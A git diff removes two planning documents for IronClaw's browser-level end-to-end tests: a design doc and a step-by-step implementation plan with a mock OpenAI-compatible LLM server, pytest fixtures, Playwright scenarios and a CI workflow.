4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
|
||||
|
||||
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
|
||||
@@ -1,354 +0,0 @@
|
||||
# E2E Testing Infrastructure Design
|
||||
|
||||
**Date:** 2026-02-24
|
||||
**Status:** Approved
|
||||
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
|
||||
|
||||
---
|
||||
|
||||
## Decisions
|
||||
|
||||
| Decision | Choice | Rationale |
|
||||
|----------|--------|-----------|
|
||||
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
|
||||
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
|
||||
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
|
||||
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
|
||||
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
pytest
|
||||
|
|
||||
+----------+-----------+
|
||||
| |
|
||||
mock_llm.py ironclaw binary
|
||||
(canned responses) (cargo build --features libsql)
|
||||
127.0.0.1:{port} 127.0.0.1:{port}
|
||||
| |
|
||||
+----------+-----------+
|
||||
|
|
||||
Playwright
|
||||
(headless Chromium)
|
||||
DOM assertions
|
||||
```
|
||||
|
||||
**Flow:**
|
||||
|
||||
1. pytest session starts
|
||||
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
|
||||
3. Session-scoped fixture starts mock LLM on OS-assigned port
|
||||
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
|
||||
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
|
||||
6. Each test uses Playwright locators + DOM assertions
|
||||
7. Teardown kills ironclaw and mock LLM
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
tests/e2e/
|
||||
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
|
||||
mock_llm.py # OpenAI-compat HTTP server with canned responses
|
||||
helpers.py # Shared utilities (wait_for_ready, selectors)
|
||||
scenarios/
|
||||
__init__.py
|
||||
test_connection.py # Auth, tab navigation, connection status
|
||||
test_chat.py # Send message, SSE streaming, response rendering
|
||||
test_skills.py # Search, install, remove lifecycle
|
||||
pyproject.toml # Dependencies
|
||||
README.md # How to run locally and in CI
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mock LLM Server
|
||||
|
||||
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
|
||||
|
||||
**Endpoint:** `POST /v1/chat/completions`
|
||||
|
||||
**Behavior:**
|
||||
- Parses the `messages` array from the request body
|
||||
- Pattern-matches the last user message content to select a canned response
|
||||
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
|
||||
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
|
||||
|
||||
**Canned response table:**
|
||||
|
||||
| Pattern (regex) | Response |
|
||||
|-----------------|----------|
|
||||
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
|
||||
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
|
||||
| `skill\|install` | `I can help you with skills management.` |
|
||||
| `.*` (default) | `I understand your request.` |
|
||||
|
||||
**Streaming format:**
|
||||
|
||||
```
|
||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
|
||||
|
||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
|
||||
|
||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
|
||||
|
||||
data: [DONE]
|
||||
```
|
||||
|
||||
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
|
||||
|
||||
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
|
||||
|
||||
---
|
||||
|
||||
## Fixtures
|
||||
|
||||
### Session-scoped (run once per test session)
|
||||
|
||||
**`ironclaw_binary`**
|
||||
- Checks if `./target/debug/ironclaw` exists
|
||||
- If missing or stale, runs `cargo build --no-default-features --features libsql`
|
||||
- Returns the binary path
|
||||
- Timeout: 300s (first build can be slow)
|
||||
|
||||
**`mock_llm_server`**
|
||||
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
|
||||
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
|
||||
- Polls `GET /v1/models` until ready (timeout 10s)
|
||||
- Yields `(process, url)`
|
||||
- Kills process on teardown
|
||||
|
||||
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
|
||||
- Starts the ironclaw binary with environment:
|
||||
|
||||
```
|
||||
GATEWAY_ENABLED=true
|
||||
GATEWAY_HOST=127.0.0.1
|
||||
GATEWAY_PORT=0
|
||||
GATEWAY_AUTH_TOKEN=e2e-test-token
|
||||
GATEWAY_USER_ID=e2e-tester
|
||||
CLI_ENABLED=false
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL={mock_llm_url}
|
||||
LLM_MODEL=mock-model
|
||||
DATABASE_BACKEND=libsql
|
||||
LIBSQL_PATH=:memory:
|
||||
SANDBOX_ENABLED=false
|
||||
SKILLS_ENABLED=true
|
||||
ROUTINES_ENABLED=false
|
||||
HEARTBEAT_ENABLED=false
|
||||
```
|
||||
|
||||
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
|
||||
- Polls `GET /api/status` until ready (timeout 60s)
|
||||
- Yields the base URL (`http://127.0.0.1:{port}`)
|
||||
- Sends SIGTERM on teardown, SIGKILL after 5s grace
|
||||
|
||||
### Function-scoped (fresh per test)
|
||||
|
||||
**`page(ironclaw_server)`**
|
||||
- Launches Playwright Chromium (headless)
|
||||
- Creates new browser context (isolated cookies/storage)
|
||||
- Creates new page with viewport 1280x720
|
||||
- Navigates to `{base_url}/?token=e2e-test-token`
|
||||
- Waits for network idle
|
||||
- Yields the `Page` object
|
||||
- Closes browser context on teardown
|
||||
|
||||
---
|
||||
|
||||
## Test Scenarios
|
||||
|
||||
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
|
||||
|
||||
Tests auth, initial page load, and tab switching.
|
||||
|
||||
```
|
||||
test_page_loads_and_connects:
|
||||
1. Assert page title or main container is visible
|
||||
2. Assert connection status indicator shows "Connected" (or equivalent)
|
||||
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
|
||||
|
||||
test_tab_navigation:
|
||||
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
|
||||
a. Click the tab button
|
||||
b. Assert the corresponding panel container becomes visible
|
||||
c. Assert no error toasts appear
|
||||
2. Return to Chat tab
|
||||
3. Assert chat input is visible and focusable
|
||||
|
||||
test_auth_rejection:
|
||||
1. Navigate to base_url without token (no ?token= param)
|
||||
2. Assert auth screen / login prompt appears (not the main app)
|
||||
```
|
||||
|
||||
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
|
||||
|
||||
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
|
||||
|
||||
```
|
||||
test_send_message_and_receive_response:
|
||||
1. Locate chat input element
|
||||
2. Type "What is 2+2?"
|
||||
3. Press Enter (or click Send button)
|
||||
4. Wait for assistant message to appear (timeout 15s)
|
||||
5. Assert user message bubble contains "What is 2+2?"
|
||||
6. Assert assistant message bubble contains "4"
|
||||
7. Assert no error toasts visible
|
||||
|
||||
test_multiple_messages:
|
||||
1. Send "Hello"
|
||||
2. Wait for response containing "Hello" or "help"
|
||||
3. Send "What is 2+2?"
|
||||
4. Wait for response containing "4"
|
||||
5. Assert message count >= 4 (2 user + 2 assistant)
|
||||
|
||||
test_empty_message_not_sent:
|
||||
1. Focus chat input
|
||||
2. Press Enter with empty input
|
||||
3. Assert no new messages appear after 2s
|
||||
```
|
||||
|
||||
### Scenario 3: Skills Lifecycle (`test_skills.py`)
|
||||
|
||||
Tests ClawHub search, install, and remove through the browser UI.
|
||||
|
||||
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
|
||||
|
||||
```
|
||||
test_skills_tab_visible:
|
||||
1. Click Skills tab
|
||||
2. Assert skills panel is visible
|
||||
3. Assert search input is present
|
||||
|
||||
test_skills_search:
|
||||
1. Click Skills tab
|
||||
2. Type "markdown" in search input
|
||||
3. Click Search (or press Enter)
|
||||
4. Wait for results (timeout 15s)
|
||||
5. Assert at least one result card is visible
|
||||
6. Assert result cards contain: name, version, description fields
|
||||
|
||||
test_skills_install_and_remove:
|
||||
1. Search for a skill
|
||||
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
|
||||
3. Click Install on first result
|
||||
4. Wait for installed skills list to update (timeout 15s)
|
||||
5. Assert skill appears in installed section
|
||||
6. Click Remove on the installed skill
|
||||
7. Wait for installed section to update
|
||||
8. Assert skill is gone from installed list
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Port Discovery
|
||||
|
||||
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
|
||||
|
||||
```python
|
||||
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
|
||||
"""Read process stdout until we find the listening port."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
line = await asyncio.wait_for(
|
||||
process.stdout.readline(), timeout=deadline - time.monotonic()
|
||||
)
|
||||
if match := re.search(pattern, line.decode()):
|
||||
return int(match.group(1))
|
||||
raise TimeoutError("ironclaw did not report listening port")
|
||||
```
|
||||
|
||||
Same pattern for the mock LLM server.
|
||||
|
||||
---
|
||||
|
||||
## Dependencies
|
||||
|
||||
```toml
|
||||
# tests/e2e/pyproject.toml
|
||||
[project]
|
||||
name = "ironclaw-e2e"
|
||||
version = "0.1.0"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"pytest>=8.0",
|
||||
"pytest-asyncio>=0.23",
|
||||
"playwright>=1.40",
|
||||
"aiohttp>=3.9",
|
||||
"httpx>=0.27",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
vision = [
|
||||
"anthropic>=0.40",
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## CI Integration
|
||||
|
||||
```yaml
|
||||
# .github/workflows/e2e.yml
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'src/channels/web/**'
|
||||
- 'tests/e2e/**'
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: target
|
||||
key: e2e-${{ hashFiles('Cargo.lock') }}
|
||||
- name: Build ironclaw
|
||||
run: cargo build --no-default-features --features libsql
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install chromium
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v --timeout=120
|
||||
```
|
||||
|
||||
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
|
||||
|
||||
---
|
||||
|
||||
## Future: Claude Vision Layer
|
||||
|
||||
Not in initial scope. Design accommodates it via:
|
||||
|
||||
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
|
||||
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
|
||||
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
|
||||
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
|
||||
|
||||
---
|
||||
|
||||
## Success Criteria
|
||||
|
||||
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
|
||||
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
|
||||
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
|
||||
4. CI workflow runs on web gateway changes and weekly schedule
|
||||
5. Test failures produce clear error messages with screenshot artifacts
|
||||
@@ -1,952 +0,0 @@
|
||||
# E2E Testing Infrastructure Implementation Plan
|
||||
|
||||
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
|
||||
|
||||
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
|
||||
|
||||
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
|
||||
|
||||
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
|
||||
|
||||
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Project scaffolding and pyproject.toml
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/pyproject.toml`
|
||||
- Create: `tests/e2e/scenarios/__init__.py`
|
||||
|
||||
**Step 1: Create pyproject.toml**
|
||||
|
||||
```toml
|
||||
[project]
|
||||
name = "ironclaw-e2e"
|
||||
version = "0.1.0"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"pytest>=8.0",
|
||||
"pytest-asyncio>=0.23",
|
||||
"pytest-playwright>=0.5",
|
||||
"playwright>=1.40",
|
||||
"aiohttp>=3.9",
|
||||
"httpx>=0.27",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
vision = [
|
||||
"anthropic>=0.40",
|
||||
]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
asyncio_mode = "auto"
|
||||
timeout = 120
|
||||
```
|
||||
|
||||
**Step 2: Create empty __init__.py**
|
||||
|
||||
Create `tests/e2e/scenarios/__init__.py` as an empty file.
|
||||
|
||||
**Step 3: Verify install works**
|
||||
|
||||
Run:
|
||||
```bash
|
||||
cd tests/e2e && pip install -e . && playwright install chromium
|
||||
```
|
||||
Expected: Clean install, no errors.
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
|
||||
git commit -m "scaffold: E2E test project with pyproject.toml"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 2: Mock LLM server
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/mock_llm.py`
|
||||
|
||||
**Step 1: Write the mock LLM server**
|
||||
|
||||
The server must:
|
||||
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
|
||||
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
|
||||
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
|
||||
- Handle `GET /v1/models` for health checks
|
||||
- Pattern-match the last user message to select canned responses
|
||||
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
|
||||
|
||||
```python
|
||||
"""Mock OpenAI-compatible LLM server for E2E tests."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import time
|
||||
import uuid
|
||||
|
||||
from aiohttp import web
|
||||
|
||||
CANNED_RESPONSES = [
|
||||
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
|
||||
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
|
||||
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
|
||||
]
|
||||
DEFAULT_RESPONSE = "I understand your request."
|
||||
|
||||
|
||||
def match_response(messages: list[dict]) -> str:
|
||||
"""Find canned response for the last user message."""
|
||||
for msg in reversed(messages):
|
||||
if msg.get("role") == "user":
|
||||
content = msg.get("content", "")
|
||||
# Handle content that may be a list (multi-modal)
|
||||
if isinstance(content, list):
|
||||
content = " ".join(
|
||||
part.get("text", "") for part in content if part.get("type") == "text"
|
||||
)
|
||||
for pattern, response in CANNED_RESPONSES:
|
||||
if pattern.search(content):
|
||||
return response
|
||||
return DEFAULT_RESPONSE
|
||||
return DEFAULT_RESPONSE
|
||||
|
||||
|
||||
async def chat_completions(request: web.Request) -> web.StreamResponse:
|
||||
"""Handle POST /v1/chat/completions."""
|
||||
body = await request.json()
|
||||
messages = body.get("messages", [])
|
||||
stream = body.get("stream", False)
|
||||
response_text = match_response(messages)
|
||||
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
if not stream:
|
||||
return web.json_response({
|
||||
"id": completion_id,
|
||||
"object": "chat.completion",
|
||||
"created": int(time.time()),
|
||||
"model": "mock-model",
|
||||
"choices": [{
|
||||
"index": 0,
|
||||
"message": {"role": "assistant", "content": response_text},
|
||||
"finish_reason": "stop",
|
||||
}],
|
||||
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
|
||||
})
|
||||
|
||||
# Streaming response: split into word-boundary chunks
|
||||
resp = web.StreamResponse(
|
||||
status=200,
|
||||
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
|
||||
)
|
||||
await resp.prepare(request)
|
||||
|
||||
# First chunk: role
|
||||
chunk = {
|
||||
"id": completion_id,
|
||||
"object": "chat.completion.chunk",
|
||||
"created": int(time.time()),
|
||||
"model": "mock-model",
|
||||
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
|
||||
}
|
||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
||||
|
||||
# Content chunks: split on spaces
|
||||
words = response_text.split(" ")
|
||||
for i, word in enumerate(words):
|
||||
text = word if i == 0 else f" {word}"
|
||||
chunk["choices"][0]["delta"] = {"content": text}
|
||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
||||
|
||||
# Final chunk: finish_reason
|
||||
chunk["choices"][0]["delta"] = {}
|
||||
chunk["choices"][0]["finish_reason"] = "stop"
|
||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
||||
await resp.write(b"data: [DONE]\n\n")
|
||||
|
||||
return resp
|
||||
|
||||
|
||||
async def models(_request: web.Request) -> web.Response:
|
||||
"""Handle GET /v1/models."""
|
||||
return web.json_response({
|
||||
"object": "list",
|
||||
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
|
||||
})
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--port", type=int, default=0)
|
||||
args = parser.parse_args()
|
||||
|
||||
app = web.Application()
|
||||
app.router.add_post("/v1/chat/completions", chat_completions)
|
||||
app.router.add_get("/v1/models", models)
|
||||
|
||||
# Use aiohttp's runner to get the actual bound port
|
||||
import asyncio
|
||||
|
||||
async def start():
|
||||
runner = web.AppRunner(app)
|
||||
await runner.setup()
|
||||
site = web.TCPSite(runner, "127.0.0.1", args.port)
|
||||
await site.start()
|
||||
# Extract the actual port from the bound socket
|
||||
port = site._server.sockets[0].getsockname()[1]
|
||||
print(f"MOCK_LLM_PORT={port}", flush=True)
|
||||
# Block forever
|
||||
await asyncio.Event().wait()
|
||||
|
||||
asyncio.run(start())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
**Step 2: Verify it starts and responds**
|
||||
|
||||
Run:
|
||||
```bash
|
||||
python tests/e2e/mock_llm.py --port 18080 &
|
||||
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
|
||||
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
|
||||
kill %1
|
||||
```
|
||||
|
||||
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
|
||||
|
||||
**Step 3: Verify streaming**
|
||||
|
||||
```bash
|
||||
python tests/e2e/mock_llm.py --port 18080 &
|
||||
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
|
||||
kill %1
|
||||
```
|
||||
|
||||
Expected: SSE chunks ending with `data: [DONE]`.
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/mock_llm.py
|
||||
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 3: Helpers module
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/helpers.py`
|
||||
|
||||
**Step 1: Write helpers**
|
||||
|
||||
```python
|
||||
"""Shared helpers for E2E tests."""
|
||||
|
||||
import asyncio
|
||||
import re
|
||||
import time
|
||||
|
||||
import httpx
|
||||
|
||||
# ── DOM Selectors ────────────────────────────────────────────────────────
|
||||
# Keep all selectors in one place so changes to the frontend only need
|
||||
# one update.
|
||||
|
||||
SEL = {
|
||||
# Auth
|
||||
"auth_screen": "#auth-screen",
|
||||
"token_input": "#token-input",
|
||||
# Connection
|
||||
"sse_status": "#sse-status",
|
||||
# Tabs
|
||||
"tab_button": '.tab-bar button[data-tab="{tab}"]',
|
||||
"tab_panel": "#tab-{tab}",
|
||||
# Chat
|
||||
"chat_input": "#chat-input",
|
||||
"chat_messages": "#chat-messages",
|
||||
"message_user": "#chat-messages .message.user",
|
||||
"message_assistant": "#chat-messages .message.assistant",
|
||||
# Skills
|
||||
"skill_search_input": "#skill-search-input",
|
||||
"skill_search_results": "#skill-search-results",
|
||||
"skill_search_result": ".skill-search-result",
|
||||
"skill_installed": "#installed-skills .ext-card",
|
||||
}
|
||||
|
||||
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
|
||||
|
||||
# Auth token used across all tests
|
||||
AUTH_TOKEN = "e2e-test-token"
|
||||
|
||||
|
||||
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
|
||||
"""Poll a URL until it returns 200 or timeout."""
|
||||
deadline = time.monotonic() + timeout
|
||||
async with httpx.AsyncClient() as client:
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
resp = await client.get(url, timeout=5)
|
||||
if resp.status_code == 200:
|
||||
return
|
||||
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
|
||||
pass
|
||||
await asyncio.sleep(interval)
|
||||
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
|
||||
|
||||
|
||||
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
|
||||
"""Read process stdout line by line until a port-bearing line matches."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
try:
|
||||
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
|
||||
except asyncio.TimeoutError:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if match := re.search(pattern, decoded):
|
||||
return int(match.group(1))
|
||||
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/helpers.py
|
||||
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 4: conftest.py fixtures
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/conftest.py`
|
||||
|
||||
**Step 1: Write the fixtures**
|
||||
|
||||
Key details from codebase research:
|
||||
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
|
||||
- Health endpoint: `GET /api/health` (public, no auth required)
|
||||
- Auth via `?token=` query parameter for the frontend auto-auth flow
|
||||
- The frontend hides `#auth-screen` when token is valid and SSE connects
|
||||
|
||||
```python
|
||||
"""pytest fixtures for E2E tests.
|
||||
|
||||
Session-scoped: build binary, start mock LLM, start ironclaw.
|
||||
Function-scoped: fresh Playwright browser page per test.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
import signal
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
|
||||
|
||||
# Project root (two levels up from tests/e2e/)
|
||||
ROOT = Path(__file__).resolve().parent.parent.parent
|
||||
|
||||
# Ports: use high fixed ports to avoid conflicts with development instances
|
||||
MOCK_LLM_PORT = 18_199
|
||||
GATEWAY_PORT = 18_200
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
def ironclaw_binary():
|
||||
"""Ensure ironclaw binary is built. Returns the binary path."""
|
||||
binary = ROOT / "target" / "debug" / "ironclaw"
|
||||
if not binary.exists():
|
||||
print("Building ironclaw (this may take a while)...")
|
||||
subprocess.run(
|
||||
["cargo", "build", "--no-default-features", "--features", "libsql"],
|
||||
cwd=ROOT,
|
||||
check=True,
|
||||
timeout=600,
|
||||
)
|
||||
assert binary.exists(), f"Binary not found at {binary}"
|
||||
return str(binary)
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
def event_loop():
|
||||
"""Create a session-scoped event loop for async fixtures."""
|
||||
loop = asyncio.new_event_loop()
|
||||
yield loop
|
||||
loop.close()
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
async def mock_llm_server():
|
||||
"""Start the mock LLM server. Yields the base URL."""
|
||||
server_script = Path(__file__).parent / "mock_llm.py"
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
try:
|
||||
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
|
||||
url = f"http://127.0.0.1:{port}"
|
||||
await wait_for_ready(f"{url}/v1/models", timeout=10)
|
||||
yield url
|
||||
finally:
|
||||
proc.send_signal(signal.SIGTERM)
|
||||
try:
|
||||
await asyncio.wait_for(proc.wait(), timeout=5)
|
||||
except asyncio.TimeoutError:
|
||||
proc.kill()
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
async def ironclaw_server(ironclaw_binary, mock_llm_server):
|
||||
"""Start the ironclaw gateway. Yields the base URL."""
|
||||
env = {
|
||||
**os.environ,
|
||||
"RUST_LOG": "ironclaw=info",
|
||||
"GATEWAY_ENABLED": "true",
|
||||
"GATEWAY_HOST": "127.0.0.1",
|
||||
"GATEWAY_PORT": str(GATEWAY_PORT),
|
||||
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
|
||||
"GATEWAY_USER_ID": "e2e-tester",
|
||||
"CLI_ENABLED": "false",
|
||||
"LLM_BACKEND": "openai_compatible",
|
||||
"LLM_BASE_URL": mock_llm_server,
|
||||
"LLM_MODEL": "mock-model",
|
||||
"DATABASE_BACKEND": "libsql",
|
||||
"LIBSQL_PATH": ":memory:",
|
||||
"SANDBOX_ENABLED": "false",
|
||||
"SKILLS_ENABLED": "true",
|
||||
"ROUTINES_ENABLED": "false",
|
||||
"HEARTBEAT_ENABLED": "false",
|
||||
"EMBEDDING_ENABLED": "false",
|
||||
# Prevent onboarding wizard from triggering
|
||||
"ONBOARD_COMPLETED": "true",
|
||||
}
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
ironclaw_binary,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
env=env,
|
||||
)
|
||||
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
|
||||
try:
|
||||
await wait_for_ready(f"{base_url}/api/health", timeout=60)
|
||||
yield base_url
|
||||
finally:
|
||||
proc.send_signal(signal.SIGTERM)
|
||||
try:
|
||||
await asyncio.wait_for(proc.wait(), timeout=5)
|
||||
except asyncio.TimeoutError:
|
||||
proc.kill()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
async def page(ironclaw_server):
|
||||
"""Fresh Playwright browser page, navigated to the gateway with auth."""
|
||||
from playwright.async_api import async_playwright
|
||||
|
||||
async with async_playwright() as p:
|
||||
browser = await p.chromium.launch(headless=True)
|
||||
context = await browser.new_context(viewport={"width": 1280, "height": 720})
|
||||
pg = await context.new_page()
|
||||
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
|
||||
# Wait for the app to initialize (auth screen hidden, SSE connected)
|
||||
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
|
||||
yield pg
|
||||
await context.close()
|
||||
await browser.close()
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/conftest.py
|
||||
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
|
||||
```
|
||||
|
